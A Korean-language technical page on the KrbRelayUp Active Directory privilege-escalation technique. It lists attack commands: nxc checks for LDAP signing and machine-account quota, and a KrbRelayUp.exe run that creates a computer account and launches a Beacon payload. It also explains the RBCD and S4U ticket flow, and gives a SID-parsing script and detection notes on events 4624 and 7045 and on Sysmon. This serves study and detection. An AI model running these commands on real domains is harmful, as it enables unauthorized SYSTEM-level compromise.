KrbRelayUp

KrbRelayUp은 AD 환경에서 컴퓨터 계정의 로컬 시스템 권한을 획득하는 권한 상승 기법입니다. LDAP에 대한 서명이 없고 RBCD 구성을 위해 도메인 컴퓨터 계정을 장악했거나, MAQ 값이 1 이상인 경우 모든 환경에서 사용 가능합니다.

Abuse

# ldap 서명 확인
nxc ldap contoso.com -u Mick3y -p 'Password123!' -M ldap-checker

# MAQ 값 확인
nxc ldap contoso.com -u Mick3y -p 'Password123!' -M maq

# KrbRelayUp
.\KrbRelayUp.exe full -Domain contoso.com --CreateNewComputerAccount --ComputerName KrbRelayUp$ --ComputerPassword Password123! --sc <Beacon Payload Path>

Root Cause

KrbRelayUp이 실행되면 가장 먼저 현재 시스템에서 COM 서버를 생성하여 System 계정의 인증을 강제합니다. 이 과정은 로컬에서 이뤄지기 때문에 모든 로그인 로그를 나타내는 4624 이벤트로 확인이 가능합니다.

4624 이벤트

컴퓨터 계정의 RBCD 구성을 변경하기 위해서는 LDAP 요청을 해야하고, 이는 LDAP에 인증할 수 있어야 하는 것을 의미합니다. 현재 낮은 권한의 도메인 권한으로 컴퓨터 계정의 패스워드나 NT 해시를 알 수 있는 방법은 없지만 강제 인증을 통해 얻은 TGT로 LDAP 인증을 수행할 수 있습니다.

컴퓨터 계정의 TGT를 이용하여 LDAP 인증 요청

bindRequest를 통해 LDAP에 인증한 이후에는 modifyRequest를 통해 RBCD 구성 정보를 변경합니다.

RBCD 구성 요청

RBCD 구성에서 AttributeValue는 SID 정보 등을 이진으로 구성하기 때문에 이를 복구했을 때, 위임하려는 대상의 SID가 나오게 됩니다. 이진 값 중에서 SID를 구하기 위해 다음 코드를 사용할 수 있습니다.

SID 추출 코드
import struct
import argparse

def parse_sid(data):
    sid_start = data.find(b'\x01\x05\x00\x00\x00\x00\x00\x05')
    if sid_start == -1:
        raise ValueError("SID not found in data")

    revision = data[sid_start]
    sub_authority_count = data[sid_start + 1]
    identifier_authority = int.from_bytes(data[sid_start + 2:sid_start + 8], byteorder='big')

    sub_authorities = []
    for i in range(sub_authority_count):
        start = sid_start + 8 + i * 4
        sub_auth = struct.unpack('<I', data[start:start + 4])[0]
        sub_authorities.append(str(sub_auth))

    sid_string = f"S-{revision}-{identifier_authority}-" + "-".join(sub_authorities)
    return sid_string

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Extract SID from msDS-AllowedToActOnBehalfOfOtherIdentity attribute value.")
    parser.add_argument('--value', required=True, help='Hex-encoded binary value of the attribute')
    args = parser.parse_args()

    try:
        binary_data = bytes.fromhex(args.value)
        sid = parse_sid(binary_data)
        print("Extracted SID:", sid)
    except Exception as e:
        print("Error:", str(e))
SID를 sAMAccountName 값으로 변경

AD01$ 컴퓨터의 위임 구성 덕분에 KrbRelayUp$ 계정은 자유롭게 AD01$ 계정이 실행하는 서비스들에 대해 다른 사용자를 가장하여 티켓을 발급할 수 있지만 직접적으로 다른 사용자를 가장한 서비스 티켓 발급 요청은 공격적 행위라고 여겨 차단합니다.

이를 우회하는 방법으로는 위임 구성된 주체(KrbRelayUp$)의 기본 SPN에 대해 다른 사용자(Administrator)가 티켓을 요청한 것처럼 하여 서비스 티켓을 만든 후, 이 티켓을 바탕으로 AD01$의 서비스에 Administrator 권한으로 서비스 티켓을 요청하면 해당 유저에 대한 권한을 PAC에 저장한 서비스 티켓이 발급됩니다.

TGS-REQ
TGS-REP

현재 KrbRelayUp$의 서비스인 KrbRelayUp$에 대해 Administrator가 티켓을 요청한 것처럼 위장하여 서비스 티켓을 발급받았습니다. sname-string 값은 cname-string과 구조가 동일하기 때문에 SPN을 소유한 객체라면 sAMAccountName 값만 넣어도 티켓은 정상적으로 발행됩니다.

TGS-REQ
TGS-REP

CreateService와 StartService는 내부적으로 HOST 서비스를 요청하는데, 시스템 권한의 행위를 위해서는 서비스를 생성하여 바이너리 경로에 악성 파일을 삽입한 뒤 실행해야 합니다. 기존의 서비스 가용성에 지장을 주지 않기 위해서는 새로운 서비스를 생성/실행해야 하는데, 이를 위해 HOST 서비스 티켓을 Administrator 권한으로 발급 받습니다.

이렇게 생성한 서비스는 시스템 7045 이벤트를 남깁니다. 기본적으로 KrbRelayUp은 KrbSCM이라는 서비스를 생성하기 때문에 이러한 시그니처 코드를 솔루션에서 탐지하기도 합니다.

7045 이벤트

KrbSCM 서비스는 생성 직후 삭제되기 분석을 위해 Sysmon.exe를 사용합니다.

# sysmon 설치
.\sysmon.exe -i sysmonconfig.xml -accepteula

# KrbRelayUp 실행 이후 로그 분석
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | Where-Object { $_.Message -like '*KrbRelayUp.exe*' } | Format-List TimeCreated, Message
KrbSCM 서비스 로그

KrbSCM 서비스는 IntergrityLevel이 System 수준이며, KrbRelayUp.exe를 실행합니다. 그리고 이 실행 파일은 cmd.exe를 자식 프로세스로 실행하기 때문에 결과적으로 cmd.exe가 로컬 시스템 권한으로 실행됩니다.

References

Last updated

Was this helpful?